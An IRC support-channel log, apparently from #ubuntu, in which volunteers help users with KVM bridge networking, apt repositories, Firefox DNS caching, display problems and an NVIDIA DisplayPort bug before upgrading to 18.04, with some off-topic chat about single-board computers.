[14:41] <moffa> @Battle if it is, you just have to add the repo again, make sure you have the right one enabled
[14:42] <tototoro> @EriC^^ XD no info, right?
[14:42] <EriC^^> *shrug*
[14:42] <Battle> @moffa how do you check what ones are enabled/disabled? I just went to /etc/apt/sources.list.d and deleted what was there (only mono repos, 3 of them)
[14:42] <tototoro> @EriC^^ alright, thanks man!
[14:43] <SporkWitch> eeep, the twits from twitter are invading with all these unnecessary @ signs...
[14:44] <moffa> @Battle yes, there should be files in /etc/apt/sources.list.d/ with a file for each repo, you have to do an apt-get update if you change anything there.
[14:44] <EriC^^> tototoro: np
[14:44] <Battle> @moffa okay good, thanks thats what i assumed too.
[14:45] <Battle> @moffa do you have any experienec with OpenVZ btw? or any other form of virtualization software that will enable me to run an independent container or os? (preferbly one that would also allow windows but not required)
[14:45] <SporkWitch> Battle: deleting the entries for the repos you no longer want is sufficient, just do an apt update after to refresh.  Sometimes it'll be its own file, but other times it may be an additional line added to /etc/apt/sources.list
[14:45] <SporkWitch> Battle: If you have a question, just ask! For example: "I have a problem with ___; I'm running Debian version ___. When I try to do ___ I get the following output ___. I expected it to do ___." Don't ask if you can ask, if anyone uses it, or pick one person to ask. We're all volunteers; make it easy for us to help you. If you don't get an answer try a few hours later.
[14:46] <moffa> @Battle I use qemu/kvm but I'm currently having problems that just appears a few days ago
[14:46] <Battle> @Moffa it wasnt a "problem" I had with this, i was just wondering if there's one that would be recommended in the year of 2018. Until now i have been using openvz but for various reasons, would like to see what other options are available?
[14:46] <Battle> sorry that @ was for SporkWitch
[14:47] <Battle> @Moffa yes me too...
[14:47] <moffa> @battle openvz is still popular, so is kvm/qem, xen, esxi
[14:47] <SporkWitch> Battle: the @ breaks the highlight anyway :)  this isn't twitter, you don't need to (and shouldn't) prepend anything to the name :)
[14:47] <Battle> @Moffa but with openvz XD
[14:47] <moffa> the @ works well for highlighting though --
[14:47] <SporkWitch> Battle: in any case, qemu-kvm is the go-to.  Very lightweight
[14:48] <SporkWitch> moffa: _some_ IRC clients will still trigger highlight if you prepend things like @ to a name, but it breaks others; it's a convention from other platforms, not IRC
[14:48] <Battle> so : is better?
[14:48] <moffa> ahh the name: works too
[14:48] <SporkWitch> Battle: typically it'll be the name preceded by nothing or whitespace, followed by whitespace, comma, period, or colon
[14:49] <moffa> You can use whatever you want, it just makes it easier when there are 5 conversations going on at the same time
[14:49] <virtuosoj> On 18.04, unplugged my computer, restarted and now my external monitor via HDMI doesn't detect.  How can I troubleshoot this?
[14:49] <SporkWitch> (though i think any non-letter character after the name will still work on most clients)
[14:49] <moffa> virtuosoj try connecting with VGA
[14:49] <Battle> SporkWitch: is it simple to install/setup kvm with publically visible secondary IP addresses bought from my providers? So far i've had a massive headache trying to get the network part done. other things work but not that...
[14:50] <SporkWitch> Battle: if you're looking to avoid some time in documentation, use a GUI front-end for it, such as virt-manager
[14:51] <moffa> Battle: a network bridge should work
[14:51] <Battle> SporkWitch: when i say not work i mean, ping from host <-> guest is fine, however anything outside of the same network, (its a dedicated server), is only one way.....outbound.
[14:51] <moffa> Battle that sounds like a routing / nat issue
[14:51] <SporkWitch> Battle: what moffa said
[14:51] <SporkWitch> if you have a second NIC, just give that NIC to the guest. Otherwise you'll need to bridge interfaces
[14:51] <Battle> yeah I couldnt figure out what i was doing wrong.... (this was when i had openvz)
[14:52] <SporkWitch> never used openvz, couldn't comment; you'd have to ask them
[14:52] <Battle> yeah they're non-existent almost
[14:52] <virtuosoj> moffa, its an ultrabook where I have to connect an adapter to a special port to go into hdmi
[14:52] <Battle> must rely on google searching and anyone who has experience with it, but it seems like openvz is being phased out now so perhaps KVM is the way to go
[14:53] <Battle> I just really hope its not hard to setup
[14:53] <SporkWitch> Battle: as mentioned, qemu-kvm is the go-to these days.  It's actually central to my next desktop build: second GPU passed through to the guest for near-native performance on Windows games that don't behave in WINE :P
[14:53] <moffa> virtuosoj does the splas page load and then the monitor stops working?
[14:53] <Battle> I spent the last few days, all day, trying to get openvz to work and officially gave up  XD
[14:53] <moffa> Battle virt-manager is great for new people
[14:53] <Battle> I'll give that a go
[14:53] <Battle> thank you
[14:55] <virtuosoj> moffa, no, computer boots up normally and just uses main display as if a monitor wasn't connected
[14:55] <Jerry> r we haveing fun yet
[14:55] <SporkWitch> virtuosoj: try unplugging and replugging the adapter?
[14:55] <moffa> virtuosoj or going into display settings and see if the monitor is detected there
[14:56] <virtuosoj> SporkWitch, tried it :(
[14:56] <virtuosoj> moffa, tried it :(
[14:57] <virtuosoj> Someone once told me about a setting that gets changed by different kernel versions that affects this issue?
[14:57] <moffa> virtuosoj I had the same issue with one of my monitors I had to cycle the inputs to get it to work.  I changed the hdmi cable and it worked fine after.. go figure
[14:57] <unimatrix9> hi there
[14:58] <unimatrix9> is there a way to add rightclick , like in 16.04 unity, where rightclick would show the downloads folder ( got 18.04 now with gnome )
[14:58] <virtuosoj> This is not the first time this has happened but it has resolved itself before... kind of seems random although I know that's not how computers work
[14:59] <unimatrix9> a how to somewhere maybe ..
[14:59] <SporkWitch> virtuosoj: hard to say when you're dealing with notebooks; they tend to have lots of non-standard parts
[15:19] <Guest3803> help
[15:19] <Guest3803> sorry wrong typing, I was trying to see the "help" from the application
[15:20] <Guest3803> "help" option
[15:20] <SporkWitch> Guest3803: press F1
[15:20] <Guest3803> thanks. I found the help info.
[15:21] <SporkWitch> Guest3803: for reference, F1 is _the_ standard convention for bringing up help, regardless of operating system or application
[15:23] <Guest3803> beep
[15:24] <NemeXis> beep back?
[15:27] <Guest3803> exit
[15:28] <dilara> hey
[15:38] <Battle> SporkWitch: hey you still around by any chance?
[15:39] <SporkWitch> Battle: what's up?
[15:40] <Battle> SporkWitch: I took the advice and installed qemu-kvm with virtmanagaer and some other bits it needs. I used virt-manager from vnc desktop to manage it all, first thing was to create a bridge as suggested, and soon as i hit the finish button, the netowrk died XD
[15:41] <moffa> Did you add your current network card to the bridge?
[15:41] <SporkWitch> ^
[15:41] <Battle> SporkWitch it gave me a warning that it would be writing over an existing configration or something along those lines, i figured this would be expected since it is going to have to modify the main interface's config
[15:42] <Battle> moffa: yes, I went to network interfaces tab, selected brdige, hit forward, then selected activate on boot and now, then selected in the list at the bottom my main network (NIC)
[15:43] <moffa> can you run brctl show
[15:43] <moffa> make sure your tap and old network card is shown under interfacs
[15:44] <Battle> http://prntscr.com/jn8ivw
[15:44] <Battle> I did not create nor know of that virbr0...
[15:44] <Battle> but the br0 is the one i created in virt-manager
[15:45] <Battle> it does not list my main NIC, I assume this is normal?
[15:45] <moffa> virt-manager creates virbr0, that creates like a subnetwork just for your vms, I want my vms on my main network so I removed virbr0 and when the vm's are created, I selected br0
[15:45] <moffa> isn't eth0 your main nic?
[15:45] <Battle> yes, correct
[15:45] <Battle> oh i see it, on teh right
[15:46] <moffa> yes, I wouldn't use the autogenerated virbr0 and make sure virtmanager used br0
[15:46] <Battle> as i no longer have VNC access remotely
[15:46] <Battle> how can i remove this command based?
[15:47] <Battle> (the network is down so i am having to use a rescue mode provided by my providers which funny enough is vKVM)
[15:47] <moffa> # virsh net-destroy default # virsh net-undefine default # service libvirtd restart # ifconfig
[15:48] <park123> hey
[15:48] <park123> anyone online
[15:48] <park123> what
[15:48] <park123> is happening to
[15:48] <Battle> okay ifconfig shows eth0 with a valid IP and all the data you would expect, as does br0 and lo
[15:48] <Battle> there is no longer that virt0
[15:48] <moffa> also please check your /etc/network/interfaces to see if the bridge is setup properly on boot - you should remove eth0 configuration and use: auto br0 iface br0 inet dhcp  bridge_ports eth0 bridge_stp off     bridge_maxwait 0
[15:49] <park123> remote debug
[15:49] <moffa> damn the formatting all screwed up, basically you should configure the bridge br0 instead of eth0.
[15:49] <park123> checking the server connecction
[15:49] <park123> what the fuck are you talking about man
[15:50] <park123> i cant understand
[15:50] <moffa> park123 what are you talking about?
[15:50] <park123> fuck the technicallity
[15:50] <park123> i am new to this chat room
[15:50] <moffa> park123 no need to be rude
[15:50] <park123> can anyone tell me what is this about?
[15:51] <park123> where are you from buddy?
[15:51] <Battle> troll sense tingling...
[15:51] <park123> i am from arjentina
[15:51] <park123> small village boy
[15:52] <park123> any chick
[15:52] <Battle> moffa is it better to reboot the system , rather than restarting network services ?
[15:53] <moffa> Battle no you can restart the network, jsut to make sure its working then reboot to get out of recovery mode
[16:06] <Battle> moffa thanks that appears to have gotten the network back , at least the main IP anyway. whent rying to create the kvm virtual contaner again, it gives me this: RuntimeError: Domain has not existed.  You should be able to find more information in the logs
[16:06] <smacktalk> im having trouble installing conky manager
[16:07] <smacktalk> E: Unable to locate package conky-manager
[16:07] <SporkWitch> smacktalk: apt search conky
[16:08] <moffa> Battle looks like a virt-manager bug can you delete the vm and start again, this time check your network card settings (force it to br0)
[16:09] <smacktalk> did the apt search...said sorting Done, full text searh done
[16:09] <Battle> i havent created any vms just yet, soon as i saw lack of bridge when setting the first one up, I never got as far as hitting the 'create' button so to speak
[16:09] <Battle> moffa, my network tab now does correctly display bridge when creating a vm too, so it appears to be working
[16:10] <Battle> moffa http://prntscr.com/jn8sxk
[16:10] <moffa> I think you want to use the virtio model
[16:10] <Battle> moffa I just noticed, it says "empty bridge" is that incorrect?
[16:10] <moffa> does brctl show still have your bridge there
[16:10] <Battle> by incorrect i mean, broken? XD
[16:11] <Battle> ill try
[16:11] <moffa> empty might refer to no vms being on it - I haven't used virtmanager in a while
[16:11] <Battle> oh.....
[16:11] <Battle> http://prntscr.com/jn8ti5
[16:11] <Battle> i see no mention of eth0 on the right anymore
[16:12] <smacktalk> I got it...google is my hero once again
[16:12] <smacktalk> wget https://launchpad.net/~teejee2008/+archive/ubuntu/ppa/+files/conky-manager_2.4~136~ubuntu16.04.1_amd64.deb
[16:14] <moffa> you might need to edit your /etc/network/interfaces file to ensure eth0 is added to the bridge
[16:14] <hatter82> moffa i have a question for you
[16:15] <matjam> !ask | hatter82
[16:16] <matjam> lol
[16:17] <SporkWitch> i prefer #debian's version:
[16:17] <SporkWitch> If you have a question, just ask! For example: "I have a problem with ___; I'm running Debian version ___. When I try to do ___ I get the following output ___. I expected it to do ___." Don't ask if you can ask, if anyone uses it, or pick one person to ask. We're all volunteers; make it easy for us to help you. If you don't get an answer try a few hours later.
[16:18] <matjam> SporkWitch: yeah that's nicer
[16:18] <matjam> much more friendly
[16:19] <SporkWitch> also gives a good idea on HOW to form a question
[16:19] <matjam> though its a lot to read for some :P
[16:19] <SporkWitch> if it's too much to read, then they're too lazy to be helped
[16:19] <matjam> OMG WORDS you expect me read that many WORDS
[16:20] <BluesKaj> matjam, well, debian bots are as pedantic as some of the helpers over there :-)
[16:20] <matjam> ha
[16:21] <erio> hey
[16:21] <Battle> moffa: okay so i fixed the lack of 'eth0' interface in bctl show command, however the eht0 interface connectivity is gone again XD
[16:21] <erio> freenode on ipv6 is not working for me
[16:21] <erio> is it ubuntu 16.04 and hexchat
[16:21] <erio> is it working for you guys ?
[16:21] <matjam> erio: yup
[16:21] <erio> :O
[16:22] <matjam> erio: does https://test-ipv6.com/ work for you?
[16:22] <erio> 11/14 tests...
[16:23] <erio> nope
[16:23] <erio> 0/10
[16:23] <erio> maybe it's my isp
[16:23] <erio> I just wondered why freenode was only resolving to ipv6 instead of ipv4
[16:24] <erio> I manually inputed an ipv4 address
[16:24] <matjam> ~.
[16:24] <erio> used 38.229.70.22
[16:24] <matjam> erio: could be router configuration
[16:25] <matjam> erio: I know my router I need to reboot it occasionally as it loses ipv6 and doesn't get it back, ha
[16:27] <erio> ah yes
[16:28] <kiriuha> kk
[16:28] <kiriuha> ah yes
[16:28] <erio> I have to reboot my router from time to time too
[16:28] <erio> I actually didn't do that
[16:29] <moffa> Battle what do you mean there is no connectivity? is there is no IP? is dhcp enabled for it or is it static? if dhcp can you run dhcp -v br0
[16:32] <Battle> moffa , it seems eth0 has no IP, br0 does , it has the main server IP
[16:33] <moffa> yeah, don't worry about eth0 anymore, that bridge will be your ip device
[16:33] <Battle> okay good, was wondering that, so that part is normal
[16:33] <Battle> br0 is static
[16:34] <moffa> When you spin up a vm, you'll get a tap device appear on your host machine
[16:34] <Battle> and by no connectivity i mean there's no interent, cant ping google.co.uk for example
[16:34] <moffa> you still can't?
[16:34] <kiriuha> dfff
[16:34] <Battle> nope :(
[16:34] <moffa> what about ping 8.8.8.8
[16:35] <Battle> network unreachable
[16:35] <Battle> i guess that rules out resolution issues
[16:35] <moffa> you need to setup your routes, gateway etc since you aren't using dhcp
[16:36] <Battle> ahhh seems br0 is missing gateway
[16:41] <matjam> network manager will be out of the loop if you set up br0 in /etc/network/interfaces
[16:41] <matjam> also if you use VPNs, they might not work anymore
[16:42] <transhuman> how do i set a static address that nslookup discovers for a domain name. trying to buypass normal dns lookup of a particular domain in ubuntu 18.04 its like it ignores the host file settings
[16:44] <transhuman> I suspect there might be a way in the /etc/dhcp/dhclient.conf but I cant seem to figure out how
[16:46] <moffa> Just add it to /etc/hosts, won't work with nslookup but it will with ping
[16:50] <Battle> moffa http://prntscr.com/jn98ql
[16:50] <Battle> does that all seem normal to you?
[16:57] <transhuman> note /etc/nsswitch doesnt exist!
[16:58] <transhuman> never mind its name /etc/nsswitch.conf
[16:58] <matjam> when you use nslookup you are explicitly saying, "use DNS to find this name". But applications use gethostbyname() which will consult /etc/hosts first
[16:59] <transhuman> yeah but the browser seems to ignore the host file too
[16:59] <blackflow> transhuman: it's not, it's just (annoyingly) doing its own additional caching.
[17:00] <matjam> you may need to restart the browser
[17:00] <matjam> or even the machine, there's layers of caching going on these days
[17:00] <transhuman> yeah I have restarted the whole thing and it still resolves to my real domain apache server
[17:00] <matjam> which browser
[17:00] <transhuman> firefox
[17:01] <matjam> https://support.mozilla.org/en-US/questions/1197204
[17:03] <derfkir> part
[17:04] <blackflow> transhuman: https://ccm.net/faq/555-disabling-the-dns-cache-in-mozilla-firefox
[17:08] <transhuman> question guys, can I just make a cookies and data exception for the domain so that it never does caching for that particular domain?
[17:08] <transhuman> not sure if thats the function of that optoin
[17:08] <transhuman> option
[17:09] <transhuman> nope that doesnt seem to fix it
[17:09] <transhuman> not sure if thats because thats not the problem or not the function of that opton
[17:09] <transhuman> option
[17:10] <blackflow> well... WorksForMe(tm).
[17:10] <blackflow> note that when you disable the FF's own dns cache, you have to clear it.
[17:11] <blackflow> if you still have issues, then the problem is probably on the systemd-resolved side, which is usually the case. I don't do systemd-resolved, probably why I don't have any DNS issues.
[17:12] <tomreyn> "systemd-resolve example.org" would tell whether it is aware of the correct resolution
[17:14] <transhuman> hey that worked after clearing the cache. Thanks guys
[17:15] <transhuman> they have damn near done their best to make it impossible to diagnose things these days
[17:15] <transhuman> learn something new every day, thanks again
[17:16] <blackflow> yeah the FF DNS cache both does make sense and doesn't as it breaks the TTL control of the zone admin. pretty much any OS that FF runs these days does own caching, so the setting is redundant.
[17:28] <kamba> hello
[17:47] <superguest> The removal (apt-get purge mime-support) resulted in the removal of unity in 16.04
[17:47] <superguest> Does that sound strange to anyone?
[17:48] <hggdh> superguest: if unity depends on mime-support, then it is expected
[17:51] <CookieM> I like to use synaptic in these situations because it warns me which additional packages will be removed if I choose one, even tiny or obscure
[17:52] <superguest> CookieM, I might have ignored it.
[17:54] <matjam> apt would have warned you
[17:55] <Battle> hmmmmmmm
[17:55] <tomreyn> apt-get did, too, for sure.
[17:56] <Battle> honestly dont know why this just refuses to work, i never had so much trouble in all my life with setting this networking things up....
[17:56] <tomreyn> what is "this"?
[17:56] <Battle> setting gateways makes no difference it seems
[17:57] <Battle> I'm trying to setup KVM with a bridged network from eth0 to br0
[17:57] <Battle> under certain circumstances, things will work, but others will break, and vice versa, for example, i can (if i disable the bridge) get internet access, but cannot bridge naturally, if i enable bridge, i cannot get internet access
[17:58] <matjam> did you enable forwarding in /etc/sysctl.conf
[17:58] <tomreyn> *IP
[17:58] <Battle> ill make sure, ive reinstalled so many times now that i cant remember if ive done that lol
[17:58] <matjam> Battle: pastebin your /etc/network/interfaces file
[17:58] <Battle> (i managed to get it allw orking perfectly under virtualbox, but this is kinda overkill for what i need...)
[18:00] <Battle> one moment, i have to wait for it to finish doing what its doing did another fresh install after the last attempt failed
[18:00] <Battle> i dont like having lots of alterations made where things broke and dint work, then more alterations and so on....
[18:01] <Battle> feels.......dirty? XD
[18:02] <Battle> what i can say is that output of brctl show , displayed br0 linked with eth0
[18:02] <Battle> which is correct as far asi know
[18:02] <Battle> ifconfig listed br0 with the correct IP address, broadcast
[18:03] <matjam> dude
[18:03] <Battle> I did notice it had network of 255.255.255.255, and usually its 224 at the end....but ive also seen on the internet 255 at the end so im not sure if thats important
[18:03] <matjam> please pastebin the file I asked you to share
[18:04] <Battle> yeah I said I need to wait for it to finish installing , its reinstalling os after al the failed attempts and installations of various packages....
[18:04] <Battle> kinda a 'reset' to start fresh again
[18:06] <Battle> i will have to check that /etc/sysctl.conf file too, i dont recall if i did that or not.. ive had so many attempts at this over the last few days lol
[18:07] <matjam> it should be a matter of creating the right configuration in /etc/network/interfaces and enabling ip forwarding in /etc/sysctl.conf.
[18:15] <Battle> and thats all? alright, ill give it a go again
[18:15] <Battle> when its up
[18:23] <zutat> where can i put my changes to xorg configuration in 18.04? i need to add stuff into a monitor section.
[18:25] <tomreyn> probably the same place as before /etc/X11/xorg.conf - see xorg.conf(5) to verify
[18:27] <ducasse> zutat: create /etc/X11/xorg.conf.d and put snippets there
[18:28] <takis> Is someone willing to join me and build a new distro together as a team ? If yes pm me. Thanks
[18:31] <zutat> tomreyn, ducasse: thanks
[18:35] <matjam> zutat: /etc/X11/xorg.conf will be used if it exists
[18:38] <Battle> does ubuntu usually take so long to install? o.O
[18:39] <tomreyn> it can take short or long or neither, depending on your environment and measure.
[18:40] <tomreyn> if you'll discuss your hardware, internet connection, the ubuntu release you're installing, and how you're installing, it may be possible to provide a less generic response.
[18:41] <Battle> yeah sorry, the question wasnt really formed well enough to gain a real answer, you're correct
[18:42] <Battle> well, the internet connection is 1gbps, the ubuntu release being installed is ubuntu minimal via a network boot im guessing, hardware is i7 3770, 32gb ram
[18:42] <zutat> the installation time is about the same as on other distros
[18:42] <Battle> hmm, maybe mines locked up or something
[18:42] <Battle> its been going ages now and no life yet XD
[18:43] <syb0rg> Battle, did you click the little arrow so you can see status messages?
[18:43] <zutat> ok. next question. what's the correct place to set the cpu governor?
[18:43] <Battle> sorry its being installed on a dedicated server provided by hetzner
[18:44] <syb0rg> ah, a server install. Well no arrow for you
[18:44] <Battle> yeah :D
[18:47] <Butterfly^> https://i.imgur.com/y147qR7.jpg
[18:48] <syb0rg> Butterfly^, we all know the world is flat. Too many NASA trolls in here -.-
[18:48] <Butterfly^> rofl
[18:48] <Butterfly^> flat earth trolls you mean? :)
[18:49] <syb0rg> ;)
[18:49] <Battle> okay yeah it did lock up during install...
[18:49] <Battle> i started new install and its done now lol
[18:49] <syb0rg> zutat, this isn't something I have messed with, but I guess some people use cpufrequtils?
[18:50] <syb0rg> there we go Battle, that's the good stuff right there, a fresh cup of Ubuntu, yessir
[18:50] <syb0rg> Battle, now what are you gonna do with your new server?
[18:51] <Battle> now i must begin the hopefully succesful task of installing KVM and bridging the eth0 to br0 to allow independant containers for the addtional ips i have
[18:51] <syb0rg> cool, are you gonna do some kind of shared hosting thing?
[18:51] <Battle> so far, this seemingly simple task, has been an impossible task, for the last 3 or so days
[18:52] <syb0rg> no, networking and vms are tricky
[18:52] <Battle> well, we need at least one container for our own servers that we host
[18:52] <zutat> syb0rg: yes, some slightly older web pages suggest using cpufrequtils, which is still available, but doesn't seem to (re)set the governor after suspend/resume. after a normal boot, it works
[18:52] <chris11> I'm running lubuntu and am having trouble getting into grub, I've tried holding shift, but that hasn't been successful. Is there a commandline command that will reboot into grub?
[18:52] <Battle> but i will be looking into hosting if possible :D
[18:52] <rqofohouses> Why ? https://paste.ubuntu.com/p/bGhXNsGJsW/
[18:52] <Battle> most likely just for our community members, nothing too heavy..
[18:52] <syb0rg> zutat, that is annoying. You could probably write a script that runs every minute with cron and ensures you have the correct settings though
[18:53] <syb0rg> or find a better util *shrug*
[18:53] <kiokoman> sudo update-rc.d ondemand disable
[18:53] <matjam> chris11: increase the timeout in /etc/default/grub and run update-grub
[18:54] <chris11> ok, thanks. Is there an actual command to just boot into grub though?
[18:55] <jvw1> Hi guys
[18:56] <jvw1> I'm in a bit of a pickle; I have a setup that includes Ubuntu 17.10 (MATE) and a GTX1050 connected to a monitor with a DisplayPort cable.
[18:57] <jvw1> Naturally, I want to upgrade to 18.04, but just before I started that process, I luckily had the bright idea to read the release notes.
[18:57] <EriC^^> chris11: is it in a vm?
[18:58] <jvw1> That is when I stumbled upon "Systems may fail to boot when connected over DisplayPort to an external screen, on NVidia graphics hardware such as the GTX970 chipset. " (https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1723619)
[18:58] <jvw1> it seems like a relatively old bug and not much progress seems to have been made
[18:59] <syb0rg> wow, I have a gtx970 with Nouveau. Good thing I use HDMI....
[19:00] <jvw1> So to me it seems I have 3 choices: wait for 18.04.1 and  hope that it is suddenly fixed in that period (while it has not been fixed in the previous 6 months), waste money on an HDMI cable, or downgrade to 16.04 LTS.
[19:00] <jvw1> because 17.10 will be EOL in July already!
[19:01] <jvw1> I keep being surprised about that because I feel like Ubuntu releases used to have much longer support
[19:01] <syb0rg> jvw1 is your screen a 4k?
[19:01] <jvw1> no
[19:01] <jvw1> it's just a regular 1080p
[19:01] <syb0rg> jvw1 this bug specifically refers to 4k over displayport
[19:01] <syb0rg> I would try booting to the 18.04 live environment with your monitor attached on displayport
[19:01] <syb0rg> and if it works, you're probably golden
[19:02] <syb0rg> also, regarding support: *.10 editions get like a year of support. *.04 versions are LTS, and get five years
[19:02] <syb0rg> so 18.04 is support through 2023 =P
[19:02] <jvw1> I know, but I think it used to 2 years for *.10 versions, right?
[19:02] <syb0rg> maybe, I dunno
[19:02] <ducasse> no, <even number>.04 is lts
[19:03] <DJones> syb0rg: Not quite, LTS comes out every 2 years
[19:03] <jvw1> I think it does extend to 1080p BTW
[19:03] <syb0rg> ok, sure, wasn't aware there were non-even number .04s
[19:03] <ducasse> <odd number>.04 are regular releases, 9 months support
[19:03] <syb0rg> ok, got it
[19:03] <jvw1> "Today's 18.04 upgrade from 17.10, using 4k or 1080 monitor with display port or with HDMI for Radeon RX 460 booting until bios,then screen flashing with jumbled colors every few seconds, shutdown displays Ubuntu logo."
[19:04] <jvw1> I'm not sure; it all is pretty vague to me TBH, but I really don't feel like being stuck with a non-booting system
[19:04] <syb0rg> jvw1, that is a different bug entirely.
[19:04] <syb0rg> jvw1, I can understand that. There is always some risk in updating
[19:04] <syb0rg> *upgrading
[19:04] <jvw1> You think it is RX460 specific?
[19:05] <syb0rg> well I think the second bug you mentioned is different hardware entirely, with different drivers
[19:05] <syb0rg> I don't know if it is RX460 specific or not
[19:05] <jvw1> to be honest I don't even remember if I'm running Nouveau or Nvidia proprietary
[19:06] <jvw1> is it possible to run the closed source Nvidia driver exclusively?
[19:06] <jvw1> Or will it always use Nouveau at some point (like at boot time)?
[19:07] <syb0rg> as far as I know, at boot it doesn't use either nouveau or nvidia drivers, just more basic low level APIs
[19:07] <syb0rg> if you have a problem with Nouveau, you should be fine to switch to Nvidia
[19:07] <jvw1> I do have the Nvidia X Server settings app installed, so I'm guessing I'm running the blob
[19:07] <syb0rg> if you want to know what you are running, try: lsmod | grep nouveau
[19:07] <jvw1> unless it doesn't boot anymore ;)
[19:08] <syb0rg> and lsmod | grep nvidia
[19:08] <jvw1> doesn't list nouveau, so the blob it is I guess
[19:08] <jvw1> yep, it does list nvidia_drm and a bunch of other stuff
[19:09] <syb0rg> well there ya go
[19:09] <jvw1> it's tagged nouveau, so I'm guessing it's nouveau specific
[19:09] <syb0rg> the initial bug you showed? Looks like it
[19:10] <jvw1> Anyway, I guess I could always do a backup, attempt to upgrade to 18.04 LTS, and if it doesn't boot anymore I could just do a clean 16.04 LTS install
[19:10] <jvw1> I know I should be doing a backup anyway before upgrading ;)
[19:11] <jvw1> It's kind of a stupid story how I came to be stuck with DP anyway
[19:11] <syb0rg> backups are always good, yes
[19:11] <jvw1> My desktop is pretty old, so the built-in GC doesn't even have HDMI
[19:11] <syb0rg> and if you run into trouble doing an upgrade, I would try a clean install of 18.04 before defaulting back to 16.04
[19:11] <jvw1> It's second hand and arrived before my GTX1050 did
[19:12] <jvw1> so then I realized that if I wanted get started with the setup, I would need to buy a DP cable since I didn't have any of those lying around
[19:12] <jvw1> of course the GTX1050 *does* have HDMI, so it turned out to be kind of pointless in the end
[19:13] <syb0rg> and also a route to fix your problem if it won't boot on DP (get an HDMI cable)
[19:13] <syb0rg> assuming your monitor has HDMI
[19:13] <jvw1> yeah, it does
[19:13] <jvw1> it's just that I used to used this monitor with a macbook air, so I had a thunderbolt <-> hdmi cable for that
[19:15] <jvw1> I guess I should do the backup then... Time to go and look for that missing USB cable for my external HDD...
[19:17] <jvw1> Wasn't really planning on doing it right now because I was already working on repairing my little home server
[19:17] <jvw1> somehow the passwords in my password manager aren't working though, so that's a bit frustrating
[19:17] <syb0rg> well if you get the server working first you can just use ssh to back up to it, no USB cables required
[19:17] <syb0rg> hurray for efficiency
[19:17] <jvw1> I've tried dozens of variations as well. I'm almost starting to think it was attacked by those Russian hackers ;)
[19:18] <syb0rg> those dem Russians
[19:18] <jvw1> But I assume it is not an easy enough target
[19:18] <jvw1> since it is relatively up-to-date
[19:18] <jvw1> there must be tons of much more interesting targets still running Debian 6 or 7
[19:18] <jvw1> without any security updates
[19:19] <syb0rg> probably so
[19:19] <jvw1> My home server doesn't really have any storage though, so I fear your plan won't work
[19:19] <syb0rg> hmmmmmmmmm, some server ya got there
[19:19] <jvw1> the only thing it does is run my now defunct personal website from a 16 GB USB stick
[19:19] <syb0rg> servers should have terabytes for days
[19:20] <syb0rg> lol nice
[19:20] <jvw1> it's a Wandboard SBC, so the OS is installed on a 16GB microSD
[19:21] <jvw1> and I'm using the USB drive to avoid wearing down that SD card too much
[19:21] <jvw1> I guess that it is pointless anyway what with all the OS logs and everything
[19:21] <syb0rg> huh, never heard of wandboard
[19:21] <jvw1> it's like an RPi on steroids
[19:21] <jvw1> I bought it before the RPi 2 and 3 were a thing
[19:22] <syb0rg> I'm on their homepage now, this is the first time I have ever seen "secure" and "IoT" used in the same sentence unironically
[19:22] <jvw1> https://www.wandboard.org/
[19:22] <syb0rg> that's a mighty tall order
[19:22] <jvw1> it's a dual core
[19:22] <jvw1> I think it has either 512 mb or 1 GB of RAM
[19:22] <jvw1> and an i.MX6
[19:22] <jvw1> software support is decent
[19:23] <jvw1> I'm running a kernel made by some guy working for Digikey
[19:23] <jvw1> so that seems ok
[19:23] <syb0rg> it looks quite comparable to an rPi honestly
[19:23] <jvw1> I know, but at the time rPi kind of sucked specs wise
[19:23] <syb0rg> fair
[19:23] <jvw1> and I didn't want to get stuck with ARMv6
[19:24] <jvw1> this was easily available to me (I was still living in Europe back then) and affordable
[19:24] <syb0rg> lol! I have never seen a board that small with VGA
[19:24] <syb0rg> looks super out of place
[19:24] <jvw1> yep, it is pretty nice
[19:25] <jvw1> even has WiFi and BT, not that I'm using that
[19:25] <syb0rg> yeah, I see it has AC
[19:25] <syb0rg> it amazes me how every low end device has AC now
[19:25] <jvw1> yep and mine is like 3 years old, I guess
[19:26] <jvw1> I think I bought it from Mouser
[19:26] <jvw1> possible Digikey
[19:26] <syb0rg> Ya know I have a raspberry pi, I have never had an actual use for it though
[19:26] <jvw1> it did come from a US warehouse though, I believe
[19:26] <syb0rg> just booted into raspbian and went, "cool," then turned it back off and put it in a dusty corner
[19:26] <jvw1> honestly this seemed cheaper than renting a shared server
[19:27] <jvw1> and everything else was just bonus
[19:27] <syb0rg> I also have an Arduino, and have done equally little with it
[19:27] <jvw1> I can always mess around with it if I want to
[19:27] <jvw1> yep, somehow I keep buying electronics stufrf
[19:27] <syb0rg> I programmed the onboard LED to blink messages in morse code, then it joined the raspberry pi in the corner
[19:27] <jvw1> even though I have never completed a serious project
[19:28] <syb0rg> lol I know the feeling. All the projects I end up doing are on my pc anyway, but I have all these boards and parts
[19:28] <jvw1> yep
[19:28] <jvw1> It's just much easier
[19:28] <syb0rg> and typically more useful
[19:28] <jvw1> for a while I thought I was going to major in CompEng
[19:28] <syb0rg> I currently am :-)
[19:28] <jvw1> but now I've decided to go with CompSci anyway
[19:29] <syb0rg> also a good major
[19:29] <syb0rg> I switched in the opposite direction though
[19:29] <jvw1> I never really switched
[19:29] <jvw1> technically
[19:29] <jvw1> because I still attending a community college
[19:29] <syb0rg> yup me too
[19:29] <jvw1> it's more like mentally
[19:29] <syb0rg> stop having so much in common with me =P
[19:30] <jvw1> the thing is
[19:30] <jvw1> I think CompEng would get really old after a while
[19:30] <syb0rg> how so?
[19:31] <jvw1> working with all those outdated tools without a proper debugger
[19:31] <jvw1> C/C++
[19:31] <syb0rg> lol
[19:31] <jvw1> I think I would really start to hate it after a while
[19:31] <syb0rg> Eh, I don't mind C too much
[19:31] <jvw1> even if it is interesting at first
[19:31] <syb0rg> managing memory is a little annoying though, and I hate the lack of real strings
[19:31] <jvw1> I imagine I would be able to put up with everything for some time
[19:32] <jvw1> but I feel like in the end all the little irritations would add up
[19:32] <jvw1> and CompEng would also involve electronics of course
[19:32] <syb0rg> quite a bit
[19:32] <jvw1> and that is even worse because you can't just recompile as easily
[19:32] <syb0rg> it's basically electrical engineering + code
[19:32] <jvw1> debugging a circuit seems like a nightmare to me
[19:33] <syb0rg> I'm procrastinating on a circuit design take home exam right now actually
[19:33] <jvw1> especially because if it gets really complicated; you start to have all these indirect, physical effects
[19:33] <jvw1> like electromagnetic radiation
[19:33] <syb0rg> very true, circuits are tricky
[19:33] <jvw1> that is going to mess things up
